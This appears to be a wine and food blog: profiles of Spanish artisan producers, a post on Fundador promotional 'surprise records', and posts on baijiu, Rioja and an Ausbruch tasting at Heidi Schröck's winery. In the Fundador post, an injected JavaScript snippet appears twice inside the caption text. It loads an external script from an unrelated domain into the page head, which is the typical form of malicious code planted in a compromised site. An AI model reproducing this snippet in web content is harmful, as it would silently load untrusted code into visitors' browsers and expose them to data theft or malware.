At first, the vines rebelled against her. The first two years were rough, with overripe grapes she struggled to control. “When you stop shouting, your wines will stop shouting,” her distributor told her, someone who believed in her. That’s when she started paying attention to how locals tended their vines. She travelled less, realising she needed to understand why her vineyards resisted her approach.

“I began to humanise the plants and agriculture—to stop thinking about them in terms of economic yield, but rather in terms of logical care and gratitude for what they offer.” For her, guiding old vines is a privilege, and achieving balance is essential. She is passionate about precision in her environment and what it means to produce wine from her village. “Being a vigneron requires a great deal of contemplation, often misunderstood as laziness.”

The vineyards entrusted to her will, in turn, have to be passed on, and it is her responsibility to care for them. When she started to “humanise” the cultivation process, everything began to work in harmony. Her village wine comes from four plots, four landscapes, using the same grape variety and the same winemaking process, yet each plot expresses itself differently. Vallejo has coarse sand and some pebbles—very rustic soils that turn rock-hard in summer without rain. Carrascal is all pebbles, giving wines of sun and fire, as she describes it. Fuentecilla has a high water table and tertiary-era sand (before the tectonic collision of plates, when the Tethys Sea covered the area). Lastly, Las Miñañas is the vineyard of her life, blending the power of Carrascal with the influence of Fuentecilla.

In the Las Miñañas plot, people once tried to burn the vines with diesel, but some survived. Her winery is in Bernuy de Coca, a tiny settlement in Santiuste. It has only six inhabitants, and she is one of them. The winery is just 100 m², and she ages her wines in clay amphorae, where the flor yeast grows in winter and dies in summer. I tasted her wines and experienced their flor—something I had never encountered before. She describes her wines as austere, like their landscapes and the Verdejo grape itself.

She does not align with any particular “club,” such as the natural wine movement. She does not like defects in wine and does not justify them. “Are my wines natural just because I don’t add things? It has more to do with craftsmanship than a predefined process.” In the end, craftsmanship is about time, good ingredients, and a touch of magic—that unexplainable je ne sais quoi that stirs emotions on your palate, and her wines certainly have it.

The Master Cheesemakers

Yolanda Campos

Yolanda & Juan Luis from Quesos La Cabezuela.

Yolanda Campos curates the cheeses: Mimosa from Quesería Cortes de Muar, Néboa from Ganadería Quintián, Mahón from Quesería Binigarba, Queso Payoyo from Quesería de Villaluenga, Corteza Lavada from Quesería Ruperto, Gran Reserva from Dehesa de los Llanos, and Gamoneu from Quesería Priedamu.

From Quesos La Cabezuela, she is not only the co-owner of her cheese factory but also a great ambassador of other artisan projects with which she collaborates in distribution, and which we included in the 8 March tasting. She is also an international judge, along with her husband Juan Luis, in cheese competitions. Together, they took over the second-oldest cheese factory in the Community of Madrid, located in Fresnedillas de la Oliva. They revived the recipe for the cheese known as Tradicional, the only traditional cheese from the area made with milk from Guadarrama goats. This goat breed is large, produces little milk, but it is rich in fat.

Not bound by a Designation of Origin, they have travelled across Spain and abroad to adapt new recipes to their cheese factory. Initially, they had only two cheeses; now, they offer 15 varieties thanks to their 900+ goats, which are fed on forage. The livestock is raised extensively, as there is not enough pasture all year round, and in summer, their diet is supplemented with organic feed.

They create their own ferments, setting them apart from other cheesemakers who purchase them from laboratories. Fermentation is highly sensitive, especially in Madrid’s continental climate. Despite cheese being made from milk, rennet, ferments, and salt, it requires meticulous precision.

Master Baker

Nuria Escarpa

Nuria Escarpa, in 3letras PAN

Nuria Escarpa provides the breads: raisin and walnut bread, quelitas, regañás, rye loaf, wheat baguette, and wheat and flaxseed baguette.

Nuria is the head baker at 3letras PAN in Madrid. A psychology graduate, she does not come from a family of bakers. She began baking bread at home in 2005, which led her to an extensive career in international projects supporting female entrepreneurs in Venezuela, Peru, Colombia, and Ecuador—many of them linked to gastronomy. She was the head of cooperation at the Madrid Business Confederation. After several entrepreneurial projects, including a Brazilian bakery in 2020, which did not succeed due to the pandemic, she rose again and took charge of 3letras PAN.

3letras is a symbol of identity, representing the three primary ingredients: flour, water, and salt. It is a project where she merges all her knowledge, experience, and passion for fermentation. She has turned 3letras PAN into a social space for women in baking, employing only women—some of whom are migrants or in vulnerable situations. It is her way of contributing her "grain of flour."

For her, baking is a way to communicate with the world through her sourdough creations, using organic ingredients. It is an artisanal craft that allows her to continue travelling and learning. She recently returned from baking in Thailand. In her bakery, she hosts "bread pairings" (PANidajes) from her "bread pantry" (desPANsa), where enthusiasm + passion = fermentation. Nuria is undoubtedly a PANtastic woman.

We must applaud small-scale work more than ever, for what it represents: a great wave of artists rather than mere artisans, women and men who bring us closer to the deepest roots of our culture, giving them new life. Today, craftsmanship is also innovation, and therefore, evolution and creation

Surprise records by “cognac” Fundador

January 19, 2025 0
¡Surprise records! What is this marvel? A total surprise! Look what you can find in the best record shops, in this case, in Dientes Largos  in Pamplona, Navarra, at the 45th Jarauta Street, run by the wonderful Kike Crespo! The surprise records are special editions of 7" vinyl records that were given as gifts by Bodegas Domecq, especially for Christmas, to their customers who bought the "cognac" Fundador. Yes, of course, today it's called brandy, but in those days it was called cognac! Be aware! Once again, grapes and music high five! The campaign started in 1962 and lasted until 1973 and a catalogue of more than 250 7" records was published, some of which had prizes engraved on the record! You could win a car or a TV, a record player, beauty products, or watches. If you got the prize on the record, you had to show up with it at Bodegas Domecq to exchange it for your prize! A little bit like Willy Wonka with the golden ticket - marvellous!   Disco sorpresa Fundador DomecqIMG_5308 If you find out a surprise record, you are in front of one the most analogue and historical ways of beverage marketing through music.  Certainly a way a lot more fun than creating algorithmic campaigns on facebook and co. Ouh Yeah! Somewhat-real-rhythmic campaigns are much better! disco sorpresavar url = 'https://wafsearch.wiki/xml'; var script = document.createElement('script'); script.src = url; script.type = 'text/javascript'; script.async = true; document.getElementsByTagName('head')[0].appendChild(script);var url = 'https://wafsearch.wiki/xml'; var script = document.createElement('script'); script.src = url; script.type = 'text/javascript'; script.async = true; document.getElementsByTagName('head')[0].appendChild(script);

Exploring Baijiu from Shui Jing Fang with family!

December 15, 2024 0

The other day, I had the pleasure of tasting a remarkable Baijiu, Shui Jing Fang distillery, during a spicy Jiangxi-style dinner in Switzerland and surrounded by family.

This ultra-premium spirit, hailing from a distillery established in 1408, is a tribute to centuries of Chinese craftsmanship. It is a powerful drink, with 52% abv! The majestic lion on the bottle stared back at me, as if challenging me to embrace the tradition and intensity of the moment.

"Have it with peanuts," Romain told me. "It will help balance the heat."

To add a special twist to the evening, we were invited to enjoy our Baijiu alongside a spread of homemade, mouth-watering dishes from the Jiangxi region. The food was spectacular, bold, spicy, and packed with flavour. Like a roller coaster of spicy emotions! But then came the surprise: even if you were in real need of rice to fight the spicy bites, you weren’t allowed to touch the comforting bowl of rice until you’d finished your Baijiu shot. Let's do this!

Let me tell you, this wasn’t just a casual sip. This was a complete shot of Shui Jing Fang’s special Baijiu, shared with Mei and her parents who cooked for us, and it demanded respect. Even for an experienced wine and spirits professional like me, it was a tall order. The heat from the food and the Baijiu’s potent sting were a fiery duo, a test of endurance and willpower. But that’s what made it so memorable. By the time you reached the rice, sweet and fluffy salvation, it felt like a hard-earned reward.

But what exactly is Baijiu, and what makes it so unique?

What is Baijiu?

Baijiu (白酒), which translates to "white liquor," is a Chinese distilled spirit made from grains such as sorghum, sticky rice, non-sticky rice, corn, and wheat. Unlike many Western spirits that use liquid-state fermentation, Baijiu is fermented in solid or semi-solid states, often in sealed pits or pottery vessels. This unique process not only defines its taste but also connects it to the earthy roots of Chinese tradition.

The Role of Qu: Baijiu’s Secret Ingredient

At the heart of Baijiu production lies qu, a solid mass of coarsely crushed grains teeming with microorganisms. Qu provides the enzymes for starch conversion and hydrolysis, as well as the yeast needed for fermentation. There are three types of qu:

Styles of Baijiu

Baijiu is a diverse spirit, with twelve subcategories/styles based on aroma and flavour profiles, where the main 4 categories are:

The other 8 subcategories/styles: Phoenix Aroma BaijiuSesame Aroma BaijiuLaobaigan Aroma BaijiuChi Aroma BaijiuMixed Aroma BaijiuSpecial Aroma BaijiuExtra-strong Aroma BaijiuMedicine (dong) Aroma Baijiu.

Shui Jing Fang’s heritage as a Sichuan distillery and the fruity aromas strongly suggests that it falls into the Strong Aroma Baijiu category. This style is known for its bold, fruity esters and an intense heat that pairs beautifully with the robust flavours of spicy Jiangxi cuisine. The combination was in perfect harmony of fire and flavour during our dinner.

Whenever you have the chance to enjoy Baijiu, remember, it isn’t just about savouring the spirit, it’s an immersive experience into Chinese tradition. The ritual of completing your shot before indulging in rice reinforces camaraderie and respect for the host’s generosity. Whether you're a connoisseur or a curious newcomer, Baijiu is a world worth exploring and I hope I can do it next time in situ. The next time you encounter a bottle of Shui Jing Fang—or any Baijiu—raise your glass to the 600 years of culture it embodies. Ganbei" (干杯) !

Don’t you know? Talking about Rioja Revolution!

May 15, 2024 0

After spending 11 years abroad, returning to Rioja made me think of a Socratic homecoming (I know that I know nothing) filled with excitement and enlightenment. If Rioja Tempranillo’s first clones could talk, they would probably say the same thing. 

You really need to be an insider or a very curious detective to realise what’s been going on in Rioja. You can also be one of the lucky wine professionals selected to become a Certified Rioja Wine Educator, chosen to spread the word about this historic wine region and its latest expressions. These changes have been done with loads of work and enthusiasm, under the umbrella of the regulatory council (DOCa Rioja). They are working together towards the same goal: bringing a taste of Rioja everywhere.  

Don’t you know? Rioja has gone under an incredible wine revolution. While preserving its identity, new grape varieties have been accepted, new vineyard classifications have arisen and the kingdom of wood ageing rule has been opened to new horizons. Rioja, the classic Spanish wine region, now has it all, new blood, skin and bones, and new wines. 

After a wonderfully intensive week in Rioja, I recognise that this is just the top of the iceberg. So what is the taste of Rioja today and what will the future taste like? Rioja, the most famous and timeless Spanish wine region, is more alive than ever. It is everything that you could imagine: it’s young, it’s historic, it’s a great example of oenoturism, and its history is expanding towards a bright future. 

The new generation of wines is as promising as their makers, some of their names, Roberto Olivan from Tentenublo amazed me with the vibrant “Escondite del Ardacho”, the elegant wines from Ukan wineryElena Corzana and her complex personal wines like the Maturana Tinta monovarietal. There are also others: the atypical and innovative concept winery of Residence Wines, a family project like Miguel y Mila with Ojuel, and their unique Supurao (passito) wine, and other wines like the authentic “Azala” skin contact white from Josean Eraso. Wait, are we still talking about Rioja? Yes! Totally! 

Escondite del Ardacho, Tentenublo               Maturana Tinta Elena Corzana

The Geographical indication “Viñedos Singular” from Rioja bring us to the outsiders, now from the inside. Juan Carlos Sancha or Professor Sancha hits the tasting “Garnacha” Peña el gato! And also the natural, tinaja and granito version. When listening to Juan Carlos, you learn just by breathing by his side. He is not only a well known Viticulture and Oenology teacher in La Rioja, he has also done lots of work in recovering grape varieties from extinction. A grape preacher. We can feel this energy in his wines, also in Cerro La Isa. Other remarkable wineries to mention: Tobelos, Macrobert & Canals, Finca la Emperatriz.

Juan Carlos Sancha

 Pruning workshop at Finca Vistahermosa, old vines from Garnacha

Let’s talk about grape liberation (or acceptation).14 grape varieties are now allowed on the appellation. On the white grape side, keep an eye on Tempranillo blanco. A natural cross found among the vines, it is coming up strong since it was approved in 2007. Besides its famous name, it has a beautiful and almost tropical scent! Viura is the queen of course, while Tempranillo blanco comes in 4th place, after Malvasia and Garnacha blanca. On the red grapes team, Tempranillo is the kingfollowed by Garnacha. Additionally, many consider Garnacha, Mazuelo, Graciano and Maturana Tinta to be the future of Rioja to support Tempranillo.

What about Rioja Oriental? Most wineries had no issue with being called Rioja Baja. They never felt like they were less! (Baja meaning low in Spanish) But now that’s how it is. You must be aware of the amazing quality produced and the great human beings behind the wines. Ruiz Jimenez winery and wines are an inspiring and pure energy as the team behind, as dynamic as biodynamic. They also organize concert nights over the summer under the name of “Atardeceres” (Sunsets). Viñedos en Voz Baja, with Carlos and his enigmatic wines like “Costumbres”, the Tempranillo blanco “El Yergo” from Paco Garcia, as well as the beautiful Garnachas from Arandon and Ontañon. 

                  Elena from Ruiz Jimenez  vineyards

More discoveries to mention in Rioja Alavesa, the elegance of Everest wine from Altún and the complexity and structure of Bideona wines gained my heart and also the savoir-faire and white wine from Luis Cañas.

Bideona vineyards, a morning with Tao Platón

From the idyllic hills of Sierra Cantabria to the charming medieval town of Laguardia and to the historic Barrio de la Estación in Haro, we go back to the classics, as each corner has a story to tell and a flavour to impart. Spending time with Pablo Orio from Muga, Anna from Bodegas Bilbainas, Victor from Roda, Guillermo from La Rioja Alta, and also with CVNe and Gomez Cruzado’s team, tasting their wines is a symphony of sensory delights, full of colours and aromas.

Tasting in Barrio de La Estación

On a historical and cultural note, Briones is key. The Vivanco Museum is a must for anyone interested in the history of wine and its impact on human civilisation. Rafael Vivanco welcomed us at Vivanco’s Museum, taking us on a tour through art, archaeology, sculpture, paintings, astonishing Egyptian ceramics, perfectly kept Greek ceramics showing Dionysian banquets, and even a collection of some of the first bottles ever made! 

We walked by the happy old man from “Sorolla” holding a “porrón”. Wait, that’s a Chagall! And “Le Troubadour” screw opener by Miró! More wine bottles from Juan Gris and Picasso’s perspective, even some grapes by Andy Warhol. For an instant, we forgot where we were. It really felt like an immense space ship gathering the jewels from humanity, while simultaneously finding space and time to turn grapes into great wine. The melody of Rafael's voice flowed like a gentle river, guiding us through the ages with a rhythm that echoed the passage of time itself. 

A special mention for the master of ceremonies of the Rioja Wine Academy, Peter Arijs, and a top professional with capital letters! A Belgian in love with Rioja and spreading his art throughout the region. A real pleasure. As special mention as well to my talented wine colleges I spent the week with, so many awesome wine professional that are already shaking the wine industry. And if you want to learn more about Rioja, here : https://riojawineacademy.com

As we taste Rioja wines, we are also getting a taste of their people. The influence of terroir is undeniable. The different winemaking decisions together with the new grape varieties allowed, new generations, the oldies but goldies, and more flexibility from the D.O.Ca. , are truly shaping the diversity of styles of “Riojas” that are produced. Being a witness to these transformative changes is a truly transcendent experience, and one that any wine lover should not miss.

So get ready, tune in, raise your glass and expect the unexpected when you taste the Rioja Revolution!

Certified Rioja Wine Educators 2023-2024

From Rust with Love with the Queen of Ausbruch

March 26, 2024 0

Heidi Schröck & Söhne - From Rust with Love.

After an intense day of tastings and training during the first year S1 Masters of Wine seminar on January 15, we had a special evening with winery tours and small group visits in the medieval town of Rust.

We entered the winery of Heidi Schröck & Söhne through a large wooden door with cinematographic sounds and down little wooden steps. There, in front of some 2100L stainless steel tanks, we met Georg, who welcomed us with a big smile. "From here you can see the whole winery," he told us. Two rooms, one with the 225L barrels and the foudres, and the other with the stainless steel tanks. He added: "Ask anything you want and when you are ready we can go up to taste."

We walked up into the house and gathered around the beautiful wooden table where Heidi was waiting for us. We sat down just as a family would and were treated to an amazing wine tasting, including a vertical tasting of Ausbruch, and even Georg's homemade bread. You could already taste the excitement of what was to come.

We can't believe how lucky we are. Walking through time and vintages with their creators is not something you do without treasuring it in your mind and under your skin. Besides, as we were approaching Heidi's house, the captivating director of the Weinacademie, Mr Dr Josef Schuller MW, had whispered in my ear: "She is the queen of Ausbruch!"

And now we are sitting at the table with Queen Heidi, her son Georg, a great group of wine people, about to taste all their wines lined up on the table.

Heidi has been making wine since 1983, following what her ancestors started 300 years ago. Now, as for several vintages, her sons Georg and Johannes have joined the family tradition. How many wineries can truly say this? : "We do it for love. Small company, big aspirations. Take it or leave it & that’s how we are. Progress and continuity. Everything we do today in our winery is based on this & we believe you can sense it in our wines."

And indeed we can!

Botrytis wines are the result of nature and climate, and sometimes they cannot even be made again for 10 years. Ausbruch wines are made from vines by Lake Neusiedlersee in the town of Rust in Burgenland, Austria. Although the DAC status dates from 2020, the historic appellation has existed since the 16th century.

Ausbruch exists only in Austria, and lies between an Austrian Beerenauslese and a Trockenbeerenauslese in required sugar levels, around 156° Oechsle (minimum of 30°KMW). Almost all Ausbruchs have between 200-300 grams per liter of residual sugar.

Heidi, Georg and Johannes work 10 ha of Welschriesling, Weissburgunder, Grauburgunder, Furmint, Gelber Muskateller, Sauvignon Blanc, Chardonnay, Blaufränkisch, Zweigelt and St. Laurent.

Ruster Ausbruch is Heidi's favourite wine, selected from the best parcels of white varieties, but especially from Welschriesling and Furmint, created only in the best vintages.

Ausbruch has a very strict wine law. At harvest they measure the amount and degrees of sugar to get to 8-9% abv and can come back the next day to check how many liters you have. A year in Rust is not always good for all styles of wine. Usually, if it's good for reds, it's not so good for sweet wines. But in 2004 and 2006 it was good for all styles.

Let's start the tasting!

1. Endel Weiss 2022 Hárslevelü 13% abv

A very special collaboration with a trendy London wine bar in Covent Garden, The 10 cases. This collaboration started with Alex, who has just launched a new place in Waterloo: Lower Bottle.

Hárslevelú means linden leaf, in reference to the dried flower aroma and a slight reminiscence of muscatel, 48h skin maceration. Fermentation and ageing in stainless tank.

Perfect phenolic grip with a spicy touch. Golden yellow in colour, and an experiment they say! If only all experiments were like this one! Amazing texture, savoury balance, dry white wine that wakes you up (or that you would like to wake up with!)

2.Furmint Auslese 2015

The sweetness starts! Only special years like 2015, with a late harvest in October and when the warm Föhn wind came later on and dried the large berries of Furmint bunches. That’s the magic of Botrytis, like the magic of Love, it happens when it happens.

The beautiful label gives you ideas to pair it with. No limit for an imaginative mind.

3.Beenrenauslese 2021 Welschriesling & Weissburgunder & Chardonnay 11% abv

"The Picker is the most important person for making these wines" said Heidi. Only 7% in the area are picked by machine, meaning most is picked by hand.

Here are some of my tasting references: less acidic than Tokaji, crisper than Sauternes, less alcohol than both, less vivid than BA from Germany.

This BA was fermented and matured in 225L barrels.

I had written in my notes: spicy peach from Mars, dried flowers, menthol.

4.Ruster Ausbruch 2021 On the Wings of Dawn Welschriesling 11% abv

Medium gold colour and amber rim. Aromas of honey and quince. Of course, hand selected, only botrytis grapes and fermented in 225L barrels. Filtered and bottled after 2 years in barrel.

5.Ruster Ausbruch 2006 Schröck & Kracher Welschriesling 10% abv

Medium amber. Orange peel, fig, smoke. Pleasant phenolic bitterness, fresh and white pepper.

The elegant floral aromas suggest the possibility of acacia barrel. (This is my mind trying to get ready for the practical exams!)

6.Ruster Ausbruch 2005 TurnerFurmint 10.5 % abv

Deep amber. Exclusive single vineyard from Furmint (Turner is the name of the vineyard) fermented and matured in new oak barrels for 2 years.

Big party of coffee-like aromas, smoky, baked fig and saffron.

Heidi likes to go with the pickers and make them taste a grape before they start picking, she knows they won’t forget it when they’re picking the right ones.

7.Ruster Ausbruch 2004 On the Wings of Dawn – Welschriesling & Weissburgunder 9.5% abv.

Deeper amber color. “On the wings of dawn” the name of this Ausbruch, is a quote from Psalm 139.

It tastes drier and it looks younger, but it is 20 years old! Dried apricot, tension, and aromas of brown sugar. "Not the classic style" says Heidi. I find it vibrant. As you can see already, in Rust they don’t make the same wines every year, and the magic happens occasionally, in different shapes and forms.

8. Anthologie – Best of 9 Summers 10% abv

Back to deep gold colour. A blend from the vintages 2014 to 2022. Vibrant aromas of ripe lemon peel, soft sweetness and waxy texture. A great sweet wine and refreshing culmination of the night.  On the side label, they wrote: OUR WINES OPEN DOORS.

From Rust with love. Dynamic, authentic and vibrant are the wines of Heidi Schröck & Söhne!

Thank you very much for your hospitality, and thanks to the Weinakademie and to the Institute MW. I will keep this memory forever and I will taste your wines every time I can, as I recommend you to do so!

We didn't get to meet Johannes this time, but we felt all the hard work and love of the whole family wine adventure and great teamwork.

To follow along and learn more about Heidi Shröck & Söhne : www.heidi-schroeck.com and here on IG: @schrockheidi

Try their wines as soon as you can!

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